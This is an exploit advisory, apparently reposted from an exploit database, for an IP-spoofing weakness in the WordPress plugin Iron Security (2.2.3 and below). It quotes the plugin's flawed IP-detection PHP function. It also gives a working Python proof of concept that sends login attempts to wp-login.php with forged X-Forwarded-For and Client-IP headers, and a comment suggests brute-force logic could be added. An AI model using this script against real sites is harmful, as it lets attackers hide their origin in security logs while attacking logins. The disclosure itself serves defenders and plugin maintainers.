Share
## https://sploitus.com/exploit?id=PACKETSTORM:190004
# Wordpress Plugin Iron Security - IP Spoofing
    # Exploit Author: bRpsd | cy[at]live.no
    # Date: March 20, 2025
    # Product: https://wordpress.org/plugins/iron-security/
    # Version: 2.2.3 and below
    # CVE : N/A
    
    Summary:
    Iron Security is the ultimate WordPress security plugin built to secure and harden your website with essential protection features. Whether you’re a blogger, business owner, or developer, Iron Security helps keep your site safe from attacks and unauthorized access. with a user-friendly interface and effective tools like custom login URL, HTTP security headers, Iron Security is the all-in-one solution for WordPress security.
    
    
    The script logs successful/fail attempts of logins along with other actions made by users into a log table in database, within the logged data is the IP. However it uses a weak logic of grabbing IP making it easier to evade and not detect the original IP but rather a spoofed one.
    
    PHP function logic:
    ==========================================================================================
    private static function get_client_ip() {
        $ip = '0.0.0.0';
        
        // Check for shared internet/ISP IP
        if (!empty($_SERVER['HTTP_CLIENT_IP']) && self::validate_ip($_SERVER['HTTP_CLIENT_IP'])) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
        // Check for IPs passing through proxies
        elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            // Check if multiple IPs
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            foreach ($ips as $ip_address) {
                $ip_address = trim($ip_address);
                if (self::validate_ip($ip_address)) {
                    $ip = $ip_address;
                    break;
                }
            }
        }
        // Check for the remote address
        elseif (!empty($_SERVER['REMOTE_ADDR']) && self::validate_ip($_SERVER['REMOTE_ADDR'])) {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        
        return $ip;
    }
    ==========================================================================================
    
    
    Risk:
    The plugin retrieves client IP addresses from potentially untrusted headers such as X-Forwarded-For & Client-IP, allowing an attacker to manipulate its value. This may be used to hide the source of malicious traffic. Below is a simple example of a python code that does a failed login attempt with a spoofed IP that will get logged in database & system due to insufficient IP address validation and use of user-supplied HTTP headers as a primary method for IP retrieval.
    
    
    
    
    =======
    POC
    =======
    
    import requests
    
    # Target URL for login [can be other functions that get logged as well]
    url = "http://localhost/wordpress/wp-login.php"
    
    # Spoofed IP address
    spoofed_ip = "1.1.1.1"
    
    # In this example we used a failed login, in a real scenario a brute force logic can be here
    username = "test"
    password = "test"
    
    # Headers with spoofed IP
    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Forwarded-For": spoofed_ip,
        "Client-IP": spoofed_ip
    }
    
    # Login data
    data = {
        "log": username,
        "pwd": password,
        "wp-submit": "Log In",
        "redirect_to": "/wp-admin/",
        "testcookie": "1"
    }
    
    # Send the login request
    response = requests.post(url, headers=headers, data=data)
    
    # Check the response
    print("Status Code:", response.status_code)